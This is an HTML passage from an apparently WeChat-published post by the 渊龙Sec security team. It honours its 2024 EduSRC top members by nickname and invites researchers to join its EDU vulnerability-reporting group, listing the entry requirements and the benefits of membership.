27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">loopk</span></strong></span></p></div></div></div></div></div><div><div style="line-height: 27.2px;"><p><span leaf=""><br/></span></p></div><div data-tools="135编辑器" data-id="101446"><div style="margin: 10px auto;text-align: center;"><div style="display: flex;align-items: flex-end;justify-content: space-around;"><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002033" class="rich_pages wxw-img" data-ratio="0.9985294117647059" data-type="jpeg" data-w="680" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=8320319e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT1zibUsia1kHYb8Qs2ibOavjHFaR7KQDeecRmGjvgFpVxT7mqFbmHS8jdg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="flex-shrink: 0;"><div style="display: flex;align-items: center;flex-direction: column;"><p style="width: 100px;height: 100px;border-radius: 100%;flex-shrink: 0;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002035" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="641" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=61619cd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTuWfKUeibhhDFG9ibWDZY4mxQCvkE1jUMvHgGnlBgNSUYvibFmWqraXPAA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002034" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="1080" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=f2c89361&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT1tJPibrcgLSJWTfHDEaRacTh5mllN0a679WdtVia3wEev3EwgrKHcVBA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div data-tools="135编辑器" data-id="98906" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">He_11</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 34%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;margin-right: 30px;margin-left: 30px;box-sizing:border-box;max-width:34% !important;" data-width="34%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">driftin9</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">余七</span></strong></span></p></div></div></div></div></div><p><span leaf=""><br/></span></p></div></div><div style="line-height: 27.2px;"><div><div><div data-tools="135编辑器" data-id="101446"><div style="margin: 10px auto;text-align: center;"><div style="display: flex;align-items: flex-end;justify-content: space-around;"><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002042" data-ratio="1" title="undefined" data-type="jpeg" data-w="598" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f15197ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT3uB3iaicI6sXbLEI9skYFQkHo5CQ6K9ZY8VgCxg9BU0sbT2AmsMs0z1Q%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="flex-shrink: 0;"><div style="display: flex;align-items: center;flex-direction: column;"><p style="width: 100px;height: 100px;border-radius: 100%;flex-shrink: 0;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002041" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="640" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c7751127&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT8iaLUhOBiaOrA0epn5BXOI7sCRcprSNRq5Ts97nQN9OIPKFiaRaicG3OyA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002038" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="640" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=393e3e7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTZ9bVMd8a9sZ6cHjCliaw44iavP5J1sic5NV1e2vPscAiaZywMh6xLekdzw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div data-tools="135编辑器" data-id="98906" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">FoRever</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 34%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;margin-right: 30px;margin-left: 30px;box-sizing:border-box;max-width:34% !important;" data-width="34%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">Sun</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">塔菲_taffy1</span></strong></span></p></div></div></div></div></div><div><div style="line-height: 27.2px;"><p><span leaf=""><br/></span></p></div><div data-tools="135编辑器" data-id="101446"><div style="margin: 10px auto;text-align: center;"><div style="display: flex;align-items: flex-end;justify-content: space-around;"><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002040" data-ratio="1" title="undefined" data-type="jpeg" data-w="531" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=9b3c18a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTQ9AH3qE2LBg1Cic2jRkzouHGOic27V6UhGmmM1j1DToOzvBLf1Iy3www%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="flex-shrink: 0;"><div style="display: flex;align-items: center;flex-direction: column;"><p style="width: 100px;height: 100px;border-radius: 100%;flex-shrink: 0;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002039" data-ratio="1" title="undefined" data-type="jpeg" data-w="792" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=66f1782d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTygWTblL8h6z7lbrT8Qxf6ZbVPrvia11WPG7hoevA01VeFhjLoajpibkA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002043" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="940" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=61219c5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT37E9ur2KDwiaia10AJmRRHuoO94MyBHtNoML0dhb0CnHF6sNTTVccerw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div data-tools="135编辑器" data-id="98906" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">Silent</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 34%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;margin-right: 30px;margin-left: 30px;box-sizing:border-box;max-width:34% !important;" data-width="34%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">fatlong</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">花菌</span></strong></span></p></div></div></div></div></div><p><span leaf=""><br/></span></p></div><div><div><div data-tools="135编辑器" data-id="101446"><div style="margin: 10px auto;text-align: center;"><div style="display: flex;align-items: flex-end;justify-content: space-around;"><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002046" data-ratio="1" title="undefined" data-type="jpeg" data-w="940" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=675b8c5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT2zQmVca6Fc6u92kqublGe7ialZjXrxIEK80QWdMbQJFht0gGGh2GS3w%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="flex-shrink: 0;"><div style="display: flex;align-items: center;flex-direction: column;"><p style="width: 100px;height: 100px;border-radius: 100%;flex-shrink: 0;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002044" data-ratio="1.0010649627263046" title="undefined" data-type="jpeg" data-w="939" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=71047cec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTFR8nJC8CSn9Tu4pfr6NtxZXnMsK8wVpC1K79VaPgribtiad0Kn6DTnWQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100001785" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="132" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=631ef630&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4kicC0ZAyA28yJktrrFfEibNPkibAY2smaJg1QCgRO7Xkbo6tFJQIyhEHg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div data-tools="135编辑器" data-id="98906" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">左卫門</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 34%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;margin-right: 30px;margin-left: 30px;box-sizing:border-box;max-width:34% !important;" data-width="34%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">AdGeLi</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">期待您到来</span></strong></span></p></div></div></div></div></div><div><div style="line-height: 27.2px;"><p><span leaf=""><br/></span></p></div></div></div></div><div style="will-change: transform;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;"><div style="display: inline-block;width: auto;align-self: flex-start;flex: 100 100 0%;height: auto;padding-right: 5px;box-sizing:border-box;"><div style="margin-top: 10px;"><p style="display: inline-block;width: 100%;height: 2px;overflow: hidden;background-color: #cf071b;max-width:100% !important;box-sizing:border-box;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0;width: 0px;box-sizing:border-box;"></svg></p></div></div><div style="display: inline-block;width: auto;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;line-height: 47px;box-sizing:border-box;"><div style="text-align: right;font-size: 12px;color: #cf071b;"><p><strong><span leaf="">2024 EduSRC优秀成员表彰</span></strong></p></div></div></div></div></div><p><span leaf=""><br/></span></p></div></div></div></div></div></div><div data-tools="135编辑器" data-id="98904" style="margin-right: auto;margin-left: auto;width: 60%;flex: 0 0 60%;box-sizing:border-box;max-width:60% !important;" data-width="60%"><div data-role="layout" style="display: flex;justify-content: flex-end;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 5%;align-self: center;box-sizing:border-box;max-width:5% !important;" data-width="5%"><div style="transform-origin: center center;transform: translateY(20px);-webkit-transform: translateY(20px);-moz-transform: translateY(20px);-o-transform: translateY(20px);"><div data-role="scale-fix" style="margin-top: -20px;"><p style="text-align: right;" align="right" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100001786" data-ratio="3.8" style="width: 100%;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-type="png" data-w="10" src="https://wechat2rss.xlab.app/img-proxy/?k=d0294d58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4wqxgGrMRZPW7eKjpNvWibKTHmRTfn8cgHBnVlbECAMQ9S89NRlZMlibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div><div data-role="layout" data-width="95%" style="display: inline-block;width: 95%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;align-self: center;margin-left: 10px;box-sizing:border-box;max-width:95% !important;"><div style="line-height: 2.6;"><p style="text-align: center;color: #ffffff;"><span style="font-size: 20px;"><strong data-brushtype="text"><span leaf="">如何加入我们？</span></strong></span></p></div></div></div></div><div data-width="60%" style="width: 60%;flex: 0 0 60%;margin-left: auto;margin-right: auto;transform-origin: center center;box-sizing:border-box;max-width:60% !important;transform: translateX(15px) translateY(-20px);-webkit-transform: translateX(15px) translateY(-20px);-moz-transform: translateX(15px) translateY(-20px);-o-transform: translateX(15px) translateY(-20px);"><div data-role="scale-fix" style="margin-bottom: -20px;"><p style="text-align: right;" align="right" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100001789" data-ratio="0.6988155668358714" width="56" data-type="gif" data-w="591" data-width="56px" style="width: 56px;vertical-align:baseline;box-sizing:border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=b7b8eeb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4bZuWdemthFF4XhSw3o3AVjicbQgUXdaCldDtzAt2U6dicAuD7OicJA9icg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div><div style="line-height: 27.2px;"><div data-tools="135编辑器" data-id="98902" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;" data-width="90%"><div data-role="layout" style="display: flex;justify-content: center;flex-flow:row nowrap;"><div data-role="layout" data-width="100%" style="display: inline-block;width: 100%;padding: 10px 20px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;line-height: 2;max-width:100% !important;box-sizing:border-box;"><div data-role="layout-inner"><div style="line-height: 34px;"><div style="margin-bottom: 10px;font-size: 18px;color: #faebcc;" data-autoskip="1"><p><strong><span leaf="">渊龙Sec安全团队的EDU小组，将在新的一年持续开放，满足以下条件即可加入：</span></strong></p><p data-role="list"><ul style="padding-left: 30px;list-style-position: outside;margin:0px;padding:0 0 0 30px;" class="list-paddingleft-2"><li><p><strong><span leaf="">EduSRC平台Rank值大于200</span></strong></p></li><li><p><strong><span leaf="">人品端正，不接触灰黑产</span></strong></p></li></ul></p><p><strong><span leaf="">先在EduSRC平台上申请加入团队，再申请加入专属QQ群：668249257，我们欢迎各位师傅的到来~</span></strong></p></div><div style="text-align: right;font-size: 18px;color: #faebcc;" data-autoskip="1"><div><p style="text-align:center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002045" data-ratio="1.1946564885496183" style="vertical-align: baseline;width: 100%;box-sizing:border-box;max-width:100% !important;" data-type="jpeg" data-w="1048" src="https://wechat2rss.xlab.app/img-proxy/?k=9a0beee2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT8ACSeD4ia9CGID6jZOZiatw6Nc6RSBJmjMzLSwEUictBFBdHmwsm2wnyA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-align:left;"><strong><span leaf="">在我们的EDU小组，你能获得什么？</span></strong></p><p data-role="list"><ul style="padding-left: 30px;list-style-position: outside;margin:0px;padding:0 0 0 30px;" class="list-paddingleft-2"><li><p style="text-align:left;"><strong><span leaf="">和大佬们深入交流技术</span></strong></p></li><li><p style="text-align:left;"><strong><span leaf="">发现工作机会、参加团队内部项目</span></strong></p></li><li><p style="text-align:left;"><strong><span leaf="">团队内总榜前50名师傅，免费获得团队内部武器资料库的使用权限</span></strong></p></li><li><p style="text-align:left;"><strong><span leaf="">能够获得优质的技术学习资料</span></strong></p></li><li><p style="text-align:left;"><strong><span leaf="">优先加入到渊龙Sec核心团队</span></strong></p></li><li><p style="text-align:left;"><strong><span leaf="">......</span></strong></p></li></ul></p></div></div></div></div></div></div></div><p><span leaf=""><br/></span></p></div></div></div><p style="display: none;"><span leaf=""><br/></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8bdc5c09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4FwekojiaOdiawJ6l5jzbicMgYqyGtdJ2sbia5lh5GPYHmrWEIMFboMcRog%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=28bb2366&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4gsicaxgibJYIsJLT4Bsv6ThrrGZUcgfRiaZzXCPBS43X1ODcKZPBlmI7g%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b7e39f0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTZq5Z3qJPN8Jx8suXQdpu8iapbfjMaCrtV3icXRfy7j0iaej7I72m4KOlQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4fc55a0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTL8lZQUK1U5BIicBah2iabHXicpJdHAYibQP3NlRKHu0e4ZeYalCYU4qzFw%2F0%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=74f7f1cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4wqxgGrMRZPW7eKjpNvWibKTHmRTfn8cgHBnVlbECAMQ9S89NRlZMlibg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4439ad7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA%2F640%3Fwx_fmt%3Dpng"/></p>
